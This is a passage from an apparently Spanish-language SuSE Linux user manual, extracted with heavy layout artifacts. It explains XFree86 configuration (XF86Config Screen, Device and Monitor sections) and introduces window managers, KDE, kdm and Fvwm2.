pregunta con `y': * * 255 8. El sistema X Window____________________________________________________________________________________________________________* *_______________________________________@ Do you want me to run `X -probeonly' now? La pantalla se obscurece por un momento y después aparece una lista con los Clocks determinados o, un mensaje advirtiendo que no se ha encontrado ningún Clock. Si se ha definido un Clock-Chip con anterioridad no aparece la pregunta sobre ejecutar X -probeonly , ya que los Clocks se programarán automáticamente. En este caso aparece directamente la próxima opción de configuración. ________________________________________________________________________________________________________* *________|| | ¡Si ha contestado la última pregunta con `y' y la pantalla se queda obscura * * |||| | * * ||| | por más de 30 segundos, debe terminar en todo caso la fase de prueba * * ||| | con |C______|trl+|A____l|t+| ____7|o!|C______|trl+|c_ |! Si no queda más remedio apague el * * ||| | ______ ____ ____ ______ _ * * ||| | monitor y la computadora para no poner en peligro estos componentes. * * ||| |_______________________________________________________________________________________________________* *________|||_ Guardar la configuración Ahora se ha terminado la configuración pero el fichero de configuración aún no está guardado. Lo mejor es guardar el fichero de configuración de X- Window XF86Config en el directorio /etc. Así se asegura también en una red que cada computadora lleve su ''propia'' configuración, incluso cuando varias computadoras comparten el árbol /usr. Indique entonces `/etc/XF86Config' como destino del fichero de config- uración. Con esto se termina el programa xf86config y la configuración del sistema X Window. 8.3 Optimización de la instalación del sistema X Window Los programas XF86Setup y xf86config generan el fichero XF86Config y lo escriben generalmente al directorio /etc. Este es el fichero de configuración principal del X Window System que contiene las definiciones de mouse, monitor y tarjeta de vídeo. XF86Config se compone de varios párrafos, llamados ''secciones'' (ingl. sec- tions) y cada una contempla un determinado aspecto de la configuración. Ca- da sección tiene la forma: Section definición 1 definición 2 definición n EndSection Existen los siguientes tipos de secciones: _______________________________________________________________________________________________________* *_________ Files Esta sección describe los path (las ramas) para los jue- gos de caracteres y la tabla de colores RGB. ServerFlags Aquí se apuntan indicadores generales (ingl. flags). _______________________________________________________________________________________________________* *_________ Tabla 8.1: Continúa en la página siguiente ... 256 __________________________________________8.3.__Optimización_de_la_instalación_del_sistema_X_Window_________________________* *______________________ ______________________________________________________________________________________________________________________ Keyboard Sirve para la descripción del teclado y del driver usado. Para Linux solo puede ser Device "Standard". Pointer Contiene las definiciones necesarias para el dispositi- vo apuntador, que es generalmente un mouse pero tam- bién podría ser un lápiz fotosensible (ingl. LightPen) o una tableta gráfica. Las indicaciones importantes son el Protocol y el Device . Monitor Descripción del monitor usado. Los elementos de es- ta sección son un nombre, que sirve más tarde de ref- erencia en la definición del Screen tal como el val- or de la anchura de banda (Bandwidth [MHz] ) y de las frecuencias de sincronización (HorizSync [kHz] y VertRefresh [Hz] ). El servidor ''rechaza'' cualquier Modeline que no cumple con la especificación del mon- itor. Haciendo esto se evita mandar al monitor frecuen- cias demasiado altas cuando se están manipulando los Modelines. Device Esta sección define una determinada tarjeta gráfica cuya referencia es el nombre dado aquí. Screen Esta sección une finalmente un Driver (p. ej. vga2 o accel ), con un Monitor y un Device para formar así las indicaciones necesarias para XFree86. La sub- sección Display permite la definición de un tamaño de pantalla virtual (Virtual ), del ViewPort y de los Modes usados con este Screen . ______________________________________________________________________________________________________________________ Tabla 8.1: Secciones (ingl. sections) en /etc/XF86Config Aquí se contemplan más de cerca las secciones Monitor , Device y Screen . En la página del manual de XF86Config (man XF86Config ) hay más infor- mación sobre las demás secciones. En el fichero XF86Config pueden aparecer varias secciones de los tipos Monitor y Device . También se pueden usar varias secciones Screen cuyo uso depende del servidor X usado. Screen-Section Primero queremos contemplar de cerca la sección de Screen . Esta une una sección de Monitor y de Device y determina cuál resolución se proporciona con cuál profundidad de color. Una sección del tipo Screen puede parecerse p. ej. a la del fichero 8.3.1 en la página siguiente. Con la línea de driver se determina para cuál servidor X vale la definición. Los distintos servidores que se encuentran en la lista de la en la página 252Tarjeta de vídeo/servidor XHfootnote.43 se indican con las claves en la tabla 8.2 en la página siguiente. * * 257 8. El sistema X Window____________________________________________________________________________________________________________* *_______________________________________@ | * * | ________________________________________________________________________________________________________* *________|||| | Section "Screen" * * | || DriverDevice "accel""Miro Crystal 40SV" * * || | Monitor "EIZO T563-T" * * | | * * | | DefaultColorDepth 16 * * | | Subsection "Display" * * | | Depth 8 * * | | Modes "1024x768" "800x600" "640x480" * * | | * * | | ViewPort 0 0 * * | | Virtual 1024 768 * * | | EndSubsection * * | | Subsection "Display" * * | | * * | | Depth 16 * * | | Modes "1280x960" "1152x864" "1024x768" "800x600" * * | | ViewPort 0 0 * * | | Virtual 1280 960 * * | | * * | | EndSubsection * * | | Subsection "Display" * * | | Depth 32 * * | | Modes "1024x768" "800x600" "640x480" * * | | * * | | ViewPort 0 0 * * | | Virtual 1024 768 * * | | EndSubsection * * | | EndSection * * | |_______________________________________________________________________________________________________* *________ | Fichero 8.3.1: La sección Screen del fichero /etc/XF86Config _______________________________________________________________________________________________________* *_________ Accel Para los servidores especiales acelerados Mono Servidor no VGA de 1 y 4 bit SVGA Servidor Super VGA VGA2 Servidor VGA monocromático (1 bit) VGA16 Servidor VGA de 4 bit _______________________________________________________________________________________________________* *_________ Tabla 8.2: Claves para los servidores X en /etc/XF86Config En el fichero XF86Config se puede encontrar para cada servidor usado una sección de Screen, que se usa cuando se inicia el correspondiente servidor. Las próximas dos líneas, Device y Monitor , determinan la tarjeta de vídeo y el monitor que corresponden a la definición. No son más que indicadores, que apuntan a las secciones de Device y de Monitor con los nombres que coinciden. Estas secciones son objeto de discusión más adelante. La variable DefaultColorDepth indica la profundidad de color por defecto que usa el servidor cuando arranca sin definición explícita de ella. 258 __________________________________________8.3.__Optimización_de_la_instalación_del_sistema_X_Window_________________________* *______________________ Para cada profundidad de color prosigue una subsección de Display . La pro- fundidad de color de cada subsección se define por la palabra clave Depth . Los valores posibles para Depth son 8, 15, 16, 24 y 32. No todos los servi- dores X soportan todos los valores y 24 y 32 son equivalentes para muchas tar- jetas; algunas lo diferencian y seleccionan el modo ''packed-pixel'' de 24bpp cuando se indica el valor 24 y el modo ''padded-pixel'' de 24bpp cuando se indica el valor 32. Después de la definición de profundidad de color se define con Modes una lista de resoluciones. El servidor X pasa por esta lista de izquierda a derecha. Para cada una de las resoluciones listadas, el servidor busca en la sección de monitor un Modeline adecuado, que corresponde con un Clock-Rate anotado en la sección de monitor o con un Clock-Rate que se puede programar. La primera resolución adecuada en este sentido es la que usa el servidor_X ____ _________ para arrancar el ''Default-Mode ''. Con las teclas_|C______|trl+_|A____l|t+_|g_________|risse+_ puede ir en la lista de resoluciones a la derecha y con |C______|trl+ |A____l|t+ |g_________|ris - a la izquierda5 . Así se puede modificar la resolución en pantalla durante el tiempo de ejecución del sistema X Window. Las últimas dos líneas de las subsecciones se refieren al tamaño de la pantalla virtual y el punto de anclaje de la parte visible en ella. El tamaño de la pan- talla virtual depende de la cantidad de memoria instalada y de la profundidad de color deseada pero no depende de la resolución máxima del monitor. Si la tarjeta tiene p. ej. 1 MB Video RAM, entonces la pantalla virtual puede ser de hasta 1024x1024 puntos a una profundidad de color de 8 Bit. Para los servi- dores X acelerados no se recomienda de ninguna manera usar todo el espacio de memoria disponible para la pantalla virtual, ya que estos servidores usan la zona de memoria no usada de la tarjeta para diferentes caches de juegos de caracteres y de zonas de gráficos. El tamaño de la pantalla virtual se indica con Virtual . Con Viewport se determina el así llamado Viewport (marco de visual- ización). Este es el punto en el cual la esquina superior izquierda de la pantalla físicamente visible se introduce en la pantalla virtual. La indicación 0 0 significa que las dos esquinas superiores izquierdas se superponen en un principio. La parte visible de la pantalla se mueve encima de la pantalla virtual moviendo el mouse al marco de la pantalla visible. Esto significa que el ''Viewport'' solo es importante en el momento de arrancar el sistema X Window y solo cuando el tamaño de la pantalla virtual no coincide con la resolución real. Device-Section Una sección de dispositivo (ingl. Device-Section), describe una determinada tarjeta gráfica. Puede haber una cantidad infinita de secciones de dispositivo en XF86Config mientras que sus nombres, indicados con la palabra clave Identifier , se distinguen. 5 ____________________________________________________ ''Gris'' indica aquí que se trata de teclas del bloque numérico, ya que estas se resaltan a veces en color gris. * * 259 8. El sistema X Window____________________________________________________________________________________________________________* *_______________________________________@ Una descripción detallada ~ solo en Inglés ~ de la sección de dispositi- vo, se encuentra en /usr/X11/lib/X11/doc y la página del manual de XF86Config (man XF86Config ). El fichero /usr/X11R6/lib/X11/doc/Devices contiene una colección de secciones de dispositivo. Usando alguna de las tarjetas mencionadas allí, lo mejor es copiar la correspondiente sección al fichero /etc/XF86Config y adaptar allí la sección Screen indicando el Device que corresponde. Si la tarjeta en cuestión no se encuentra listada en éste, no significa que XFree86 no la soporte; en realidad solo significa que aún nadie ha enviado una sección de dispositivo al XFree86-Team. La lista de las tarjetas soportadas se encuentra en el directorio /usr/X11/lib/X11/doc en el fichero README y hay más detalles sobre ellas en AccelCards. Monitor-Section Las secciones de monitor describen, tal como las de Device, un monitor por cada sección y puede haber una cantidad infinita de estas secciones en /etc/XF86Config. En la sección de Screen se determina cuál sección de monitor vale a efectos de la configuración. Solo usuarios muy experimentados deberían generar o ajustar una sección de Monitor al igual que una sección de tarjeta gráfica. Una parte fundamental de las secciones de monitor son los ''Modelines'' que indican las sincroniza- ciones (ingl. timings) horizontales y verticales para cada resolución. ________________________________________________________________________________________________________* *________|| | ¡Sin un buen conocimiento de la función de monitor y de tarjeta gráfica * * |||| | no se debería cambiar ningún valor de los Modelines, ya que esto podría * * ||| | * * ||| | provocar la destrucción del monitor! * * ||| |_______________________________________________________________________________________________________* *________|||_ Si realmente se atreve a hacer sus propias configuraciones de monitor, debería leer antes la documentación en /usr/X11/lib/X11/doc. Se recomienda especialmente la lectura de [FCR93 ] que explica detalladamente la función del hardware y la definición de los Modelines. Las secciones de monitor preconfiguradas y listas para su uso en XF86Config se encuentran en el fichero /usr/X11/lib/X11/Monitors. Si se quiere usar un monitor que no figura allí, se recomienda usarlo con las sincronizaciones VESA estándar tal como se indica en la sección monitor del fichero de con- figuración que generan XF86Setup y xf86config . En este caso es importante que los valores para frecuencia horizontal y vertical estén indicados correcta- mente. Con gusto se incorporan configuraciones nuevas y comprobadas a la lista de las ya existentes, proporcionándolas a SuSE GmbH o al XFree86-Team. 260 Capítulo 9 El Windowmanager ~ La ventana a su PC Una vez configurado el servidor X, queremos disfrutar de un escritorio colori- do, con ventanas, menús y todos los demás detalles que forman un ''verdadero escritorio''. ~ Este capítulo sobre los gestores de ventanas (WM) abarca los siguientes temas: o El gestor de ventanas ~ sus tareas o KDE ~ el K Desktop Environment o Fvwm2 ~ un gestor clásico de Linux o SuSEwm ~ la vía elegante para la configuración propia o La práctica ~ Afinar diversos ajustes Es posible que se quiera comenzar directamente con la práctica, pero es mejor tener una idea básica de la teoría que se presenta a continuación. 9.1 Teoría sobre el entorno gráfico 9.1.1 Estructura del sistema X Window En comparación a los + entornos gráficos monolíticos, como p. ej. Windows u OS/2, en Linux y Unix las distintas capas funcionales están separadas. A primera vista esto complica el manejo, pero finalmente brinda más flexibil- idad y el sistema ofrece prestaciones más altas, especialmente respecto a la potencia. La primera capa es el sistema operativo, que se encarga de la tareas ''triviales'', como p. ej. la administración de la memoria. Por encima de esa capa está el + X-Server (sistema X Window) que corre- sponde a lo que se denomina ''driver'' en otros sistemas. En Linux se es- tablece una capa transparente por debajo del entorno gráfico que permite el acceso distribuido a los servicios de un servidor-X a través de toda la red (también Internet). Las tareas concretas del servidor-X son: o acceso a la tarjeta gráfica o Dibujar puntos, líneas, rectángulos y texto o Distribución de este servicio a la computadora local y a través de toda la red. * * 261 9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________* *_______________________________________@ Probablemente la mayoría de los usuarios usan un servidor-X localmente (o sea, solo en la computadora de sobremesa), sin embargo, la capacidad de uso en red representa siempre una gran ventaja. Además se obtiene una interface estandarizada sin restricciones sobre el diseño del entorno gráfico. Solo así es posible que todos los programas se visualicen dentro de todos los entornos desarrollados. Aprovechando las redes es p. ej.posible ejecutar una aplicación en la com- putadora del despacho y visualizarla completamente con el PC en casa. En tal caso es posible visualizar una sola tarea concreta o todo el escritorio en la computadora remota. Además el tipo de hardware y el sistema operativo ya no importan, mientras que haya soporte para X11. Otro ejemplo: no hace falta sentarse directamente al lado de la estación de trabajo, que es igual de potente como ruidosa, sino que se puede trabajar tranquilamente en la com- putadora más sencilla de su despacho mientras las aplicaciones se ejecutan en la estación de trabajo. Linux como sistema operativo multiusuario soporta el trabajo simultaneo de varios usuarios en una sola computadora, mientras los usuarios se conectan con una X terminal (una pequeña computadora sin disco duro que se inicia a través de la red). Los servicios del gestor de ventanas se encargan de convertir los rectángulos ~ como elementos básicos ~ en ventanas o menús movibles. Las ventanas son importantes porque permiten ejecutar y visualizar varias aplicaciones al mismo tiempo y proporcionan menús para interactuar có- modamente con la computadora. El gestor de ventanas representa entonces una capa adicional entre el servidor X, las aplicaciones y el usuario, como lo muestra la figura 9.1. Además los desarrolladores de aplicaciones-X pueden acceder directamente a X. ____________________________________________________|||| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |___________________________________________________ | Figura 9.1: Capas del entorno gráfico bajo Linux Linux conoce diferentes gestores de ventana (ingl. windowmanager). Hay que distinguir entre los gestores puros y los entornos gráficos (escritorios) (ingl. Desktop Environments). Los primeros se restringen a la gestión de las ventanas, mientras que los escritorios incorporan una cierta cantidad de aplicaciones con una apariencia y un manejo uniforme. SuSE Linux incorpora los siguientes gestores de ventana: 262 _____________________________________________________________________________9.1.__Teoría_sobre_el_entorno_gráfico__________* *______________________ o Fvwm ~ para mucho tiempo el windowmanager de Linux o Fvwm95 ~ parecido a Windows 95 o AfterStep ~ con la apariencia de NeXTSTEP o WindowMaker ~ igual, pero totalmente reescrito o Enlightenment ~ muy equipado o Ctwm ~ gestor de ventanas sin adornos o Olvwm ~ OpenLook Virtual Windowmanager, para aquellos que prefier- an algo especial. Otros gestores de ventana se encuentran en la serie xwm. Hay una serie de gestores a base de Fvwm que se configuran de forma parecida. Estos son Fvwm en las versiones 1, 2.0 y 2.2 tal como AfterStep , Bowman , cdesim y Fvwm95 . Además existen los siguientes entornos gráficos: o KDE ~ K Desktop Environment (estándar en SuSE Linux) o GNOME ~ GNU Network Object Model Environment o XFce ~ Una copia del entorno comercial CDE La decisión sobre el gestor de ventanas depende básicamente del gusto per- sonal, de las funciones que se necesitan y de la potencia de hardware que se dispone. Especialmente en cuanto al gasto de memoria pueden existir diferencias substanciales. Para usar cómodamente un entorno como KDE o GNOME se requiere un mínimo de 64 MB de memoria RAM. Además de la apariencia, los gestores de ventana se distinguen también en cuanto a las posibilidades de configuración y de ampliación. Las figuras 9.2 hasta figu- ra 9.5 muestran cuatro ejemplos de decoración de ventanas. La figura 9.2 muestra el servidor X sin ningún gestor de ventanas en ejecución iniciado; no existen marcos para modificar el tamaño de la ventana o su posición. Figura 9.2: Sin decoración de ventana ~ X11 sin gestor de ventanas Figura 9.3: Decoración de ventana del kwm de KDE No hay inconveniente en instalar (paralelamente) diferentes gestores de ven- tana, probarlos, decidirse por uno y después adaptar el gestor de ventana o el entorno seleccionado según necesidades y/o gusto. Por defecto se instala el entorno KDE . * * 263 9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________* *_______________________________________@ Figura 9.4: Decoración de ventana de Fvwm Figura 9.5: Decoración de ventana de WindowMaker ________________________________________________________________________________________________________* *________ | Finalmente un consejo: La mayor parte de la información de este capítulo * * ||| | * * ||| | se refieren a Fvwm2 o KDE . ¡Si aún no está decidido, elija uno de estos! * * ||| |_______________________________________________________________________________________________________* *________|||_ 9.1.2 ¿Qué administra el ''windowmanager''? A continuación una lista breve (e incompleta) de la influencia que puede tener el gestor de ventanas sobre el comportamiento y la apariencia del entorno gráfico: o Apariencia de las ventanas ~ Anchura, color, y efectos 3D del marco ~ Barras de desplazamiento, botones de cerrar, abrir y ampliar, título de la ventana y su fuente. o Superposición de ventanas ~ Comportamiento de la ventana al ejecutar p. ej. AutoRaise (la aparien- cia automática en el primer plano) ~ Clavar ventanas o Activar una ventana ~ seleccionando con un ''click'' ~ ''tocando'' con la flecha del mouse o Menús desplegables ~ Apariencia de los menús (color, fuente) ~ Comportamiento de los menús y sub-menús o Fondo de pantalla o Escritorio virtual (varios escritorios/pantallas) o Administración de iconos o Combinación de sonidos con eventos en el directorio Son pocos los WM bajo UNIX o Linux que ofrecen un programa de con- figuración gráfico e ''intuitivo'', para configurar y administrar las funciones 264 _____________________________________________________________________________9.1.__Teoría_sobre_el_entorno_gráfico__________* *______________________ mencionadas. Los que lo ofrecen son p. ej. KDE , GNOME , WindowMaker y Enlightenment . La mayoría de los WM se configuran con uno o varios ficheros, en los que se puede ajustar los diversos parámetros con comandos más o menos descrip- tivos. Después del primer contacto es fácil acostumbrarse rápidamente a un WM y su configuración. Además, el WM preferido solo se configura al prin- cipio y después solo se trabaja con él. 9.1.3 Iniciar los distintos gestores de ventana Para iniciar varios WM, SuSE Linux presenta varias posibilidades, que de- penden de la forma de arrancar el sistema X Window. Iniciar con kdm Iniciando el sistema X Windowmediante KDM se puede seleccionar un gestor de ventanas. kdm guarda para cada usuario el el última gestor usado (detalles en el apartado 9.2 en la página siguiente). Iniciar con xdm Usando XDM en lugar de KDM es necesario configurar en el fichero ~/ .bashrc la variable de entorno WINDOWMANAGER, así como se explica más adelante. Inicio con startx Si no se inicia el sistema X Window después del arranque, es posible iniciarlo con un determinado gestor de ventanas desde la consola de texto, p. ej. con el comando: tux@tierra: > startx fvwm95 Así se inicia el Fvwm95 . Como parámetro se usa siempre el nombre del gestor de ventanas, cosa que funciona en la mayoría de los gestores de ventana de SuSE Linux. Es posible ampliar esta llamada p. ej. con la profundidad de color deseada. El comando: tux@tierra: > startx afterstep -- -bpp 16 inicia el sistema X Window con AfterStep como gestor y una profundidad de color de 16 bit (65536 colores). Lo más probable es que esta profundidad ya se haya elegido como estándar durante la instalación; ver apartado 2.1.14 en la página 27Preparación del entorno gráficosubsection.2.1.14 tal como página del manual de startx (man startx ). La variable WINDOWMANAGER Una vez decidido por un determinado gestor de ventanas se puede añadir o modificar la siguiente línea en el fichero ~/.bashrc: export WINDOWMANAGER=fvwm95 En este ejemplo, el gestor por defecto pasa a ser Fvwm95. Si el directorio /usr/X11R6/bin no forma parte de la variable de entorno PATH, se debe * * 265 9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________* *_______________________________________@ indicar en la línea de arriba la rama completa en la que se encuentra el gestor de ventanas. También se puede poner la entrada de arriba adentro del fichero /etc/ profile, para definir así el WM para todo el sistema. Cada usuario puede superponer esta definición con la individual que se realiza en el fichero ~/.bashrc. Cambiar el gestor de ventanas en tiempo de ejecución Algunos gestores de ventana (especialmente los de la familia Fvwm ) per- miten el cambio del gestor en tiempo de ejecución. No cierran las ventanas que ya están abiertas y tampoco los programas que corren en éstas. Es una característica que no se implementó para algunos gestores como Ctwm , kwm (KDE ) o CDE . Sin embargo es posible conseguirla usando SuSE DyDe (ingl. SuSE dynamic desktop). Para utilizarlo hay que definir suse como gestor de ventanas o bien seleccionar esto en KDM . 9.2 KDE ~ K Desktop Environment KDE ofrece para Linux un entorno gráfico de configuración sencilla y de apariencia homogénea para muchas aplicaciones. KDE significa ''K Desktop Environment'' y es el proyecto de un grupo de programadores en continuo crecimiento que se formó en el otoño de 1996. KDE ofrece sobre todo, aparte de un gestor de ventanas propio (kwm ), un ad- ministrador de ficheros/navegador (kfm ), un sistema de ayuda general basado en documentos HTML (kdehelp ), Manual-Pages y páginas de información GNU. Existe también una multitud de aplicaciones más o menos complejas, útiles para el trabajo diario (p. ej. gestor de correo, lector de noticias, juegos, herramientas de sistema, etc.). KDE está completamente basado en + URL y + MIME. Esto significa que todas las ramas y referencias a ficheros se traspasan y se procesan en un formato único (p. ej. como referencia a una página HTML, a un fichero en el sistema de ficheros local, a una página de ayuda, a un servidor FTP, etc.). Además los ''Mimetypes'' establecen una correlación entre el tipo de fichero y el programa que lo puede leer o ejecutar. Así es posible visualizar y procesar los ficheros independientemente de su tipo y fuente, con un click del mouse. Además, existe para el usuario la posibilidad de realizar muchas tareas con ''Arrastrar y colocar'' (ingl. Drag & Drop), p. ej. la de copiar un fichero desde un servidor FTP a un directorio local. El sistema de ayuda de KDE es otra ventaja de este entorno. Se ha notificado a todos los autores de aplicaciones KDE que añadan la documentación sobre el programa desarrollado en formato HTML a la ya existente. Desde las aplicaciones es posible acceder a las páginas de ayuda que concuerdan con el contexto, usando el botón `Ayuda'. No solo se puede navegar por el sistema de ayuda, sino que el navegador permite también pasar por las Manpages de Unix o por las páginas info GNU. Otras características de una larga lista son la posibilidad de colocar iconos como accesos directos sobre el escritorio y la uniformidad, comodidad y sencillez de la configuración del KDE y de las aplicaciones escritas para él. 266 ___________________________________________________________________________9.2.__KDE__~_K_Desktop_Environment_______________* *______________________ _______________________________________________________________________________________________________________________|| |||||||| KDE se desarrolla usando el Qt Widget Set, que es una especie de bib- ||| | ||||||||| lioteca (parecido a Motif) para diseñar programas con superficie gráfica || || |||||||| en el sistema X Window. Obsérvense los términos de licencia de Qt, que ||| | |||||||| || | |||||||| difieren de los de la GPL (/usr/doc/packages/qt/LICENSE). || | ||||||||_______________________________________________________________________________________________________________||_ 9.2.1 Generalidades KDE se instala por defecto en el directorio /opt/kde y todos los ficheros importantes para él se encuentran en directorios por debajo de éste. Para acceder más fácilmente a estos directorios se define en /etc/profile la variable de entorno KDEDIR. Además, el directorio /opt/kde/bin se encuentra automáticamente en la rama de búsqueda para ejecutables (PATH), después de haber instalado los paquetes del KDE. El árbol de directorios del KDE contiene muchos subdirectorios de los cuales la tabla 9.1 describe solo los más importantes. _______________________________________________________________________________________________________________________ /opt/kde/bin todos los programas del KDE (ficheros ejecutables) /opt/kde/share/config ficheros de configuración globales /opt/kde/share/applnk enlaces entre programas (menús) /opt/kde/share/apps ficheros de aplicaciones del KDE /opt/kde/share/doc las ayudas en línea /usr/doc/packages/kde información adicional sobre el KDE _______________________________________________________________________________________________________________________ Tabla 9.1: KDE ~ directorios importantes Para los que prefieren usar el teclado en lugar del mouse, se presentan en la tabla 9.2 algunas teclas abreviadas. _______________________________________________________________________________________________________________________ |||||__ ___ Alt__|____+_|F___|1_ Abrir el menú de K. Alt||||||_+ |F___|2 Abrir un cuadro de introducción de co- mandos multipropósito, p. ej. para intro- ducir URLs, directorios locales o co- mandos/programas. Alt||||||__+ |F___|_3 Cerrar la ventana. |||||__ ____ Alt__|____+ |T____a|b Cambiar entre las ventanas del escrito- rio activo. Ctr||||||____l+ |E_____|sc Abrir una ventana, que indica todas las ventanas abiertas de todos los escrito- rios Ctr||||||____l+ |F___|_1. . . |____|F8 Cambiar entre los escritorios 1 hasta 8. _______________________________________________________________________________________________________________________ Tabla 9.2: KDE ~ teclas abreviadas importantes * * 267 9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________* *_______________________________________@ 9.2.2 kdm ~ ''login'' gráfico El gestor de pantallas (ingl. Displaymanager) KDM , que está incluido en los paquetes del KDE, es una ampliación valiosa de cualquier sistema Linux, con en el cual los usuarios entran con un ''login'' gráfico. La figura 9.6 muestra la configuración predeterminada de kdm en SuSE Linux. Figura 9.6: El gestor de pantalla kdm Hay botones para elegir el gestor de ventanas (`Sessiontype'), para ele- gir el idioma de los menús (`Language') y para detener la computadora `(Shutdown)'; ver el apartado 19.2 en la página 468Apagar y arrancar el sistemasection.19.2. KDM se configura directamente con el fichero de configuración /opt/kde/ share/config/kdmrc o bien mediante un diálogo de configuración del menú de KDE.Independientemente de esto, SuSE Linux incorpora la posi- bilidad de configurar el inicio de KDM y los gestores de ventana a disposi- ción mediante YaST ; ver el apartado 3.7.5 en la página 111Configuración del Loginsubsection.3.7.5. SuSEconfig coloca los valores de estas variables adentro de /opt/kde/ share/config/kdmrc y así la configuración se activa_en_el_próximo_inicio_ ____ de KDM que se puede reiniciar p. ej. con | ______C|trl+ | ____A|lt+ | ____7|.! La incor- poración de las variables procedentes de /etc/rc.config/ se suprime si se hubiera configurado el kdm en tiempo de ejecución valiéndose del cen- tro de control de KDE. Si a pesar de todo se desea efectuar la configu- ración a través de /etc/rc.config se debe renombrar el fichero kdmrc. SuSEconfig (SuSEconfig.kdm lo genera siempre) como kdmrc1 . 9.2.3 ¿Qué es lo fabuloso del KDE? Una vez que se haya entrado al sistema con KDM de manera confortable, es hora de comentar las peculiaridades del KDE. Para ello observemos lo que transcurre después del ''login'' (o después del comando startx ) _____________________________________________1 Ambos ficheros se encuentran en el directorio /opt/kde/share/config. 268 ___________________________________________________________________________9.2.__KDE__~_K_Desktop_Environment_______________* *______________________ La primera vez que se entra al KDE aparecen algunos cuadros de diálogo que advierten sobre la ausencia de diferentes ficheros y directorios. No se trata de un error ya que el KDE necesita (y al inicio crea) una serie de directorios en el directorio del usuario. La estructura de estos es parecida a la que existe en /opt/kde (ver la tabla 9.1 en la página 267Generalidadessubsection.9.2.1) y se crea en los directorios HOME/.kde y HOME/Desktop. El primer directorio alberga los ficheros de configuración y el segundo los enlaces de programas. Por eso se pueden confirmar los diálogos mencionados simplemente con |______|- o con un click del mouse. Ahora se inicia el kfm (K FileManager). Kfm es un componente básico del KDE capaz de gestionar muchos tipos de ficheros ya que sus nombres se gestionan como URLs. No importa si se copia un fichero desde un servidor FTP (URL-prefijo ftp:), como fichero local (URL-prefijo file:) o si se lee una manpage (URL-Präfix man:), una página GNU-Info (URL-prefijo info:) o una página web en HTML desde un servidor-web (URL-Präfix http:) ~ kfm trata igual a todos los ficheros. Incluso es posible visualizar imágenes de diferentes formatos con un simple click de mouse, valiéndose de un visualizador externo. La figura 9.7 muestra una ventana típica de kfm. Figura 9.7: El administrador de ficheros kfm El usuario se acostumbra muy rápidamente a estas características tal como a la posibilidad de copiar ficheros con el sencillo ''Arrastre y Coloque''. A propósito: con un click del botón derecho sobre el símbolo de un fichero, se abre un menú que ofrece distintas posibilidades de manipulación, p. ej. el cambio de las propiedades del fichero o programa. Las propiedades de un programa, p. ej. los parámetros con los que se inicia, el icono utilizado para su visualización sobre el escritorio, etc. se definen en un fichero con la extensión .kdelnk. La figura 9.8 en la página siguiente muestra el diálogo para modificar las propiedades. El fichero con extensión .kdelnk es un fichero ASCII, que se puede editar. Vale la pena observar estos ficheros que se encuentran p. ej. en ~/Desktop, o ~ para todo el sistema * * 269 9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________* *_______________________________________@ ~ en /opt/kde/share/applnk. Los ficheros válidos para todo el sistema hacen referencia a los iconos del escritorio y de los menús y su contenido es uniforme, tal como el de los demás ficheros de configuración del KDE. Figura 9.8: El diálogo de definición de propiedades Por último, se inicia generalmente la barra de menú KPanel , que contiene los botones para cambiar de escritorio virtual y un menú especial (el de la letra `K') que contiene todos los sub-menús globales del sistema (ver los ficheros kdelnk). Este menú alberga también la posibilidad de configurar el KDE con el ''centro de control'' del KDE (ver figura 9.9 en la página siguiente) y de configurar el KPanel. Pero KPanel es aún más versátil ya que por una parte se pueden colocar iconos de programas vía Drag & Drop sobre el panel e iniciar los correspondientes programas desde allí y por otra parte, KPanel puede ''absorber'' aplicaciones en ejecución. Estas podrían ser p. ej. klipper (varios búferes para cortar y pe- gar) o korn que indica la cantidad de mensajes en un determinado directorio. Estas aplicaciones se ejecutan entonces dentro del KPanel y de este modo son visibles en todos los escritorios. Sería muy difícil comentar aquí sobre todos los programas del KDE ya que la cantidad existente crece rápidamente. El equipo KDE pretende, entre otras 270 ______________________________________________________________________________________________________________9.3.__El_Fvwm_* *______________________ Figura 9.9: El centro de control de KDE cosas, hacer las computadoras más fáciles de manejar, así que lo más sencillo es entrar al menú y empezar a probar el programa que más interese. Acceder a la ayuda es tan sencillo como pulsar el botón derecho del mouse sobre el fondo; aparecerá un menú con muchas posibilidades, entre ellas el acceso a la ayuda. Sin embargo, cabe recordar que muchos paquetes del KDE suministrados se encuentran en sus primeras fases de desarrollo. Esto quiere decir que el programa puede ser inestable o bien reacciona de manera extraña, pero normalmente lo que ocurre en estos casos es que el programa se cuelga o se cierra, con lo cual se debe reinicializar. Tiene a su disposición algunas listas de correo a las que se puede acceder a través de la página web del proyecto KDE (http://www.kde.org). Allí hay también mucha información sobre los orígenes del KDE, la intención del proyecto y su estado actual. No queremos olvidar el servidor FTP de SuSE en el cual se encuentran ba- jo ftp://ftp.suse.com/pub/SuSE-Linux/suse_update/KDE, paquetes de KDE especialmente adaptados a SuSE Linux y que pueden ser instalados cómodamente usando YaST . También hay allí explicaciones adicionales so- bre la instalación y el uso del KDE en el sistema SuSE Linux. 9.3 El Fvwm * * 271 9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________* *_______________________________________@ Generalidades Este apartado tiene como objeto de discusión el Fvwm2 (fvwm2 ), que es uno de los gestores de ventana de referencia y se siguen desarrollando nuevos gestores basados en él ~ p. ej. recientemente el Scwm (scwm ). En SuSE Linux el Fvwm2 se encuentra en el paquete fvwm, serie xwm; el antiguo Fvwm está en el paquete fvwm1, serie xwm. Aparte de las funciones usuales de administración de ventanas y su deco- ración con botones, éste ofrece también menús de fondo y módulos que se pueden cargar en tiempo de ejecución. Los módulos contienen funciones adi- cionales muy interesantes como p. ej. una barra con botones. Para obtener más información sobre la función, el inicio y la configu- ración del Fvwm y sus módulos, consulte las Manpages correspondi- entes (página del manual de fvwm2 (man fvwm2 ), página del manual de FvwmAudio (man FvwmAudio ), página del manual de FvwmButtons (man FvwmButtons ), etc.) o el directorio de documentación /usr/doc/ packages/fvwm, que contiene también unos ficheros de configuración de ejemplo. Para no tener que escribir un fichero de configuración desde cero, se puede encargar a susewm la creación de una plantilla y adaptarla posteriormente a las necesidades. En el apartado 9.5 en la página 277Configuración del win- dowmanager con SuSEwm section.9.5 hay una explicación sobre susewm . Ficheros de configuración del Fvwm El Fvwm se configura con dos ficheros distintos: o El fichero que contiene 